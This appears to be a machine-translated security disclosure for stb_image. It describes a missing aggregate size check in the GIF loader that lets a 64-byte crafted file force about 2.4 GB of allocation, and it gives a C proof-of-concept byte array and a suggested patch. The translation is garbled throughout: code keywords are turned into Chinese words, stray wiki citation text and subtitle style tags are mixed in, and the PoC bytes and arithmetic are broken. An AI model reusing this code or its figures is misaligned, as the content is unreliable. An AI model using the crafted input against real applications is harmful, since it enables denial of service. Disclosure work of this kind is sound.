stb_image GIF: 缺少对背景+历史缓冲区的聚合边界检查,导致从 64 字节输入分配了约 2.4GB 内存
^ stb image GIF: 缺少集合边框检查允许 ~2.4GB 从64字节文件中分配
** 文件:** stb image.h ** 功能:** stbi gif load next() ** 线路:** 6790-6795 ** 相关:**#1992,#1996(同根因由,不同代码路径)
说明
在“stbi gif load next()”中,只有“出”缓冲分配由下列人员看守: `stbi mad3 sizes valid ()'。 分配 " 背景 " 和 " 历史 " 缓冲 紧接着没有额外大小验证 :
页:1 如果 (!stbi mad3 sizes valid(4, g->w, g->h, 0)) // 仅守卫"出局" 返回 stbi errpuc( “太大” ), “ GIF 图像太大” ;
计数=克->w *克->h; g- >out = stbi malloc (4 * pcount); // QQ 受保护 g- > 背地 = stbi malloc (4 * pcount); // QQ 无人看守 g- > 历史 = stbi malloc( 计数); //%% 无人看守
拨款总额="4·*计"+"4·*计"+"9·*计".
以`g->w=16384,g->h=16448'(均低于STBI MA DIMENSIONS=16777216):
- `出'=1 077 936 128字节(~1.0 GB)
- " 背景 " = 1 077 936 128字节(~1.0 GB) -- -- 无人看守
- `历史'=269 484 032字节(~0.25 GB)——无人看守
- ** 总计:~2.4 GB 来自64字节输入**
* 复制
用 libFuzzer + Asan 构建,或直接使用 :
页:1
定义 STB IMAGE 模拟
包括"sb image.h"
#包括"stdio.h"
英寸主( ) {
//64字节所设计的GIF(16384x16448维)
未签名的 char poc [] = {
0x47,0x49,0x46,0x38,0x39,0x61, //GIF89a (英语).
0x00, 0x40, // 宽=16384
0x40,0x40, //高=16448
0x40 0x40 0x40 0x40 0x40 0x40 0x40
0x40 0x40 0x40 0x40 0x40 0x40 0x40
0x40 0x40 0x40 0x40 0x40 0x40 0x40
0x40 0x40 0x40 0x40 0x40 0x40 0x40
0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40.
0x00, 0x4a, 0x46, 0x01, 0x00, 0x00
* ;
(一) 水分、水分、水分和水分;
stbi uc *img = stbi load from memory(poc, sizeof(poc), &w, &h, &c, 0); 页面存档备份,存于互联网档案馆.
如果(img) stbi image free(img);
返回 0;
{\fn黑体\fs22\bord1\shad0\3aHBE\4aH00\fscx67\fscy66\2cHFFFFFF\3cH808080}你觉得呢?
** 成果:** LibFuzzer在分配2.4 GB后报告OOM。
影响
拒绝服务——任何使用stb image处理未信任的GIF的应用程序 文件可以用64字节的有效载荷强制排出系统内存.
建议的修补
在所有三项拨款中注意总规模:
页:1 请检查access-date=中的日期值 (帮助) 如果 (! stbi mad3 大小 valid (4, g- >w, g- >h, 0) #% (大小 t)g->w * g->h > (1u *% 26) // 64M 像素最大 返回 stbi errpuc( “太大” ), “ GIF 图像太大” ;
或增加符合 " 退出 " 模式的单项检查。
发现
由libFuzzer + Asan 运动在stb image.h上发现.
模糊输入:64字节的GIF文件(后附为oom文物).
环境:Ubuntu 24.04 (WSL2), x86 64, clang 21.1.8.
内容来源: nothings/stb